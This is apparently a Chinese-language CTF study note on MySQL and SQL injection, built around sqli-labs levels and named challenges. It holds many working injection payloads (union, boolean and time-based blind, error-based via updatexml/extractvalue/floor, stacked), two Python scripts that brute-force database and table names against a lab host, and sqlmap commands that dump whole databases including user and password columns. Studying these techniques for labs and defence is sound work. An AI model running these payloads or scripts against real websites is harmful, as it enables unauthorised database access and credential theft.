SQL
MySQL基础
MySQL基本操作
1.查询本地所有数据库: show databases;
2.使用数据库:use 数据库名;
3.查看当前使用的数据库名:select database();
4.查看当前使用的数据库的所有表:show tables;
5.查看数据库版本:select version();
6.查看使用当前数据库的用户:select user();
7.查看数据库存储路径:select @@datadir;
8.查看MySQL的安装路径:select @@basedir;
9.查看安装数据库的操作系统:select @@version_compile_os;
常用操作
1.查询 :select
Select 字段列表 from 表名 where 条件 ;
2.修改:update
Update 表名 set 字段=值 where 条件;
3.删除:delete
Delete from 表名 where 条件;
4.增加:create
Create [database|table] name ·······;
information_schema
1.information_schema , 是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库表,表栏的数据类型和访问权限等。
2.Web渗透过程中用途很大
3.SCHEMATA表:提供了当前MySQL实例中所有数据库的信息。
4.TABLES表:提供了关于数据库中的表的信息。
5.COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。
SQL注入
原理
动态交互网站,实现交互利用用户输入拼接到SQL语句执行。用户输入内容没有经过完美处理,并且直接将用户构造的SQL语句带入执行,导致SQL注入漏洞。
$sql = 'select " + username + "from users limit 0,1';
常见类型
1.数字型注入
and 1=1 回显正常 and 1=2 返回异常,存在数字型注入可能2.字符型注入
1 返回正常 1' 返回异常,存在字符型注入可能 [极客大挑战 2019]EasySQL3.联合查询
union select [极客大挑战 2019]LoveSQL4.盲注
·布尔盲注 特点:以页面回显的内容的不同作为判定依据。
布尔盲注只会回显 True和 False两种情况。 利用下列函数,写脚本得到flag length() 返回字符串的长度 left(a,b) 从左侧截取a的前b位 mid(a,b,c) 从位置b开始,截取a字符串的c位 substr(a,b,c) 从b位置开始,截取字符串a的c长度 ascii() 将某个字符转换为ascii值 char() 将ASCII码转换为对应的字符 less-5: 因为页面只返回yes或no,不返回数据库中的数据,所以我们这里肯定是不能使用union注入的 length(database())>=1,判断当前数据库长度是否>=1,正确输出1,错误输出0 substr(database(),1,1)='s',判断当前数据库的第一个字母是否为s,正确输出1,错误输出0,substr的作用是截取长度 ord(substr(database(),1,1))=115,转ASCII码判断,正确输出1,错误输出0 substr((select table_name from information_schema.tables where table_schema='A' limit 0,1),1,1)='e',判断A库下面第一张表的第一个字母是否为e,正确输出1,错误输出0 substr((select column_name from information_schema.tables where table_name='B' limit 0,1),1,1)='e',判断B表下面的第一个字段的第一个字母是否为e,正确输出1,错误输出0 substr((select C from A.B limit 0,1),1,1)='e',判断C字段下面的第一个值的第一个字母是否为e,正确输出1,错误输出0 猜解第一个字符:?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101--+ [CISCN2019 华北赛区 Day2 Web1]Hack World```` # 布尔盲注 import requests url = 'http://snert.com.cn:10004/Less-5/' db_len = 1 db_name = '' # 猜解数据库名的长度 # for i in range(30): # payload = f"?id=1' and length(database())={i}--+" # res = requests.get(url+payload) # if "You are in" in res.text: # db_len = i # break # print(f"数据库名的长度: {db_len}") # # # # 猜解数据库名 # for i in range(db_len+1): # for j in range(1,128): # payload = f"?id=1' and ascii(mid(database(),{i},1))={j}--+" # r = requests.get(url+payload) # if "You are in" in r.text: # db_name += chr(j) # print(db_name) # else: # continue # print(f"数据库名:{db_name}") # # 猜解数据库的表名 table_name = '' for i in range(1,20): for j in range(1,128): payload = f"?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),{i},1))={j}--+" r = requests.get(url+payload) if "You are in" in r.text: table_name += chr(j) print(table_name) else: continue ````·时间盲注 特点:以回显的时间长短作为判断依据。
时间盲注 在页面没有任何正确或错误回显的情况下,用时间函数构造时间延后,由回显时间来获取数据,主要是利用sleep函数让sql语句的执行时间变长,常与if(1,2,3)函数连用如果1执行为ture则返回2,否则返回3. if(expr1,expr2,expr3):判断语句,如果第一个语句正确就执行第二个语句,如果错误执行第三个语句 sleep(n) 将程序挂起一段时间 n单位为秒 爆破数据库 ?id=1' and if(ascii(substring(database(),1,1))=115,sleep(10),1)--+ 爆破表名 ?id=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(10),1);--+ 爆破内容 ?id=1' and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(10),1);--+ start_time = time.time() re =requests.get(payload).text end_time = time.time() use_time =end_time-start_time时间盲注脚本 import time import requests url='http://snert.com.cn:10004/Less-8/?id=' table = "" for i in range(1,100): # time.sleep(1) left = 32 right = 128 mid = (left+right)//2 while left<right: payload = url+f"1' and if ( ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{i},1))>{mid} ,sleep(2),0)--+" # print(payload) start_time = time.time() re =requests.get(payload).text end_time = time.time() use_time =end_time-start_time if use_time >2: # print("ok") left = mid+1 else: right=mid mid = (left + right) // 2 # print(mid) table+=chr(mid) print(table)5.报错注入
判断注入 当场景中仅仅将SQL语句带入查询返回页面正确,没有返回点的时候,需要报错注入,用报错的回显 三种方法: extractvalue() updatexml() floor() 0x7e就是~用来区分数据 concat()函数 1.功能:将多个字符串连接成一个字符串。 2.语法:concat(str1,str2,…) 返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。 updatexml注入 首先了解下updatexml()函数,作用是改变文档中符合条件的节点的值 UPDATEXML (XML_document, XPath_string, new_value); 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 第三个参数:new_value,String格式,替换查找到的符合条件的数据 报错原因:由于updatexml的第二个参数需要Xpath格式的字符串,以~开头的内容不是xml格式的语法,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了 报错注入语句格式: ?id=1 and extractvalue(null,concat(0x7e,(sql语句),0x7e)) 1 and updatexml(1,concat(0x7e,database(),0x7e),1) 1 union select count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x floor()原理: floor函数的作用就是返回小于等于括号内该值的最大整数。 利用 select count(*),floor(rand(0)*2) x from information_schema.character_sets group by x 导致数据库报错,通过concat函数连接注入语句与floor(rand(0)*2)函数,实现将注入结果与报错信息回显的注入方式。 1.爆数据库: ?id=1 and extractvalue(null,concat(0x7e,(database()),0x7e)) ?id=1 and updatexml(1,concat(0x7e,(database()),0x7e),1) ?id=1 union select count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x 2.爆数据库表: ?id=1 and extractvalue(null,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) ?id=1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) ?id=1 union select count(*),concat(floor(rand(0)*2),(select concat(table_name) from information_schema.tables where table_schema='sqli' limit 0,1)) x from information_schema.schemata group by x 3.爆数据库字段: ?id=1 and extractvalue(null,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1),0x7e)) ?id=1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1),0x7e),1) ?id=1 union select count(*),concat(floor(rand(0)*2),(select concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1)) x from information_schema.schemata group by x 4.获取flag: ?id=1 and extractvalue(null,concat(0x7e,mid((select flag from flag),4),0x7e)) ?id=1 and updatexml(1,concat(0x7e,mid((select flag from flag),4),0x7e),1) ?id=1 union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(flag) from sqli.flag limit 0,1)) x from information_schema.schemata group by x [极客大挑战 2019]HardSQL6.堆叠注入
代码示例: def login(username, password): query = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'" # 执行查询并验证用户登录信息 ... PREPARE:准备一条SQL语句,并分配给这条SQL语句一个名字(hello)供之后调用 EXECUTE:执行命令 DEALLOCATE PREPARE:释放命令 SET:用于设置变量(@a) [强网杯 2019]随便注 [SUCTF 2019]EasySQL常见绕过
SQLmap
借助 sqlmap 我们可以通过简单的参数自动完成漏洞的利用,既不用记过多的 SQL 语句,也会更加高效。 (1)使用 --dbs 参数获取数据库名称(注意:这里需要 sudo,否则无法访问 docker 容器中的网站),示例命令如下
./sqlmap.py -u "http://localhost/Less-2/?id=1" --dbs (2)使用 --current-db 参数获取当前数据库,示例命令如下:
./sqlmap.py -u "http://localhost/Less-2/?" --current-db (3)使用 --tables 参数枚举表名,示例命令如下 :
./sqlmap.py -u "http://localhost/Less-2/?id=1" --tables -D 'security' (4)使用 --columns 参数枚举字段名,示例命令如下:
./sqlmap.py -u "http://localhost/Less-2/?id=1" --columns -T "users" -D "security" (5)使用 --dump 参数批量获取字段值,示例命令如下:
./sqlmap.py -u "http://localhost/Less-2/?id=1" --dump -C "id,password,username" -T "users" -D "security" (6)使用 --dump-all 参数导出整个数据库。
GET: ./sqlmap.py -u "http://localhost/Less-2/?id=1" --dump-all
POST: sqlmap -r 1.txt